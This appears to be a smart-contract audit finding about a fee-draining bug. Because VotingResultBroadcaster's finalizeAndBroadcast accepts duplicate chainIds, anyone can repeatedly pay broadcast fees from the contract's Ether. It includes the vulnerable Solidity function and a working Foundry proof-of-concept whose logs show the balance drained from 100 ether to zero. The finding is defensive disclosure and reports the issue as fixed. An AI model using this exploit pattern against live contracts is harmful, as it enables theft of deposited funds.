Fees could be overcharged by duplicated chainIds during broadcast
Description
In VotingResultBroadcaster, the function finalizeAndBroadcast is used to calculate the fees of broadcasting and execute broadcasting. Based on the structure of the contract, it seems that the owner deposits Ether into the contract and periodically/automatically calls finalizeAndBroadcast to ensure updates are made accordingly.
However, finalizeAndBroadcast is external, and there are no restrictions on the chainId parameter. This poses a risk as the _broadcastResults function in AnzenVotingControllerUpg does not check for duplicate chainId values.
function finalizeAndBroadcast(uint64[] calldata chainIds) external {
uint256 currentWeek = WeekMath.getCurrentWeekStart();
if (lastBroadcastedWeek >= currentWeek) revert Errors.VCAlreadyBroadcasted();
lastBroadcastedWeek = currentWeek;
votingController.finalizeEpoch();
for (uint256 i = 0; i < chainIds.length; ) {
uint64 chainId = chainIds[i];
uint256 fee = votingController.getBroadcastResultFee(chainId);
votingController.broadcastResults{ value: fee }(chainId);
unchecked {
i++;
}
}
}Impact
A malicious user could exhaust the balance of the VotingResultBroadcaster contract by broadcasting the same chainId multiple times.
The following proof-of-concept script demonstrates that an attacker could exhaust the broadcast contract.
function testAuditExhuastingResultBroadcaster() public {
vm.startPrank(admin);
address(votingResultBroadcaster).call{value: 100 ether}("");
address pool = address(0x1337);
anzenVotingControllerUpg.addPool(
43113,
pool,
10 ** 18,
100
);
anzenVotingControllerUpg.addDestinationContract(pool, 43113);
anzenMsgSendEndpointUpg.addReceiveEndpoints(address(31337), 43113);
vm.stopPrank();
// fee 1 ether (not reasoable just for testing)
vm.mockCall(
address(lzEndpoint),
abi.encodeWithSelector(ILayerZeroEndpoint.estimateFees.selector),
abi.encode(uint256(1 ether), uint256(1 ether))
);
console.log("votingResultBroadcaster balance: ", address(votingResultBroadcaster).balance);
vm.startPrank(user1);
anzenToken.approve(address(votingEscrowAnzenMachine), 100 ether);
uint128 expire = calc_wtime(uint128(block.timestamp)) + 100 weeks;
uint256 Vebalance = votingEscrowAnzenMachine.increaseLockPosition(100 ether, expire);
address[] memory pools = new address[](1);
uint64[] memory weights = new uint64[](1);
pools[0] = pool;
weights[0] = 10 ** 18;
anzenVotingControllerUpg.vote(pools, weights);
vm.warp(block.timestamp + 1 weeks);
uint64 [] memory chainIds = new uint64[](100);
for (uint i = 0; i < 100; i++) {
chainIds[i] = 43113;
}
votingResultBroadcaster.finalizeAndBroadcast(chainIds);
console.log("votingResultBroadcaster balance: ", address(votingResultBroadcaster).balance);
vm.stopPrank();
}The following text is the result of the proof-of-concept script:
[PASS] testAuditExhuastingResultBroadcaster() (gas: 5724578)
Logs:
votingResultBroadcaster balance: 100000000000000000000
votingResultBroadcaster balance: 0Recommendations
Add checking for duplicate chainId values in the _broadcastResults function in AnzenVotingControllerUpg.
Remediation
This issue has been acknowledged by Anzen Labs Inc., and a fix was implemented in commit 9ff5c7ce↗.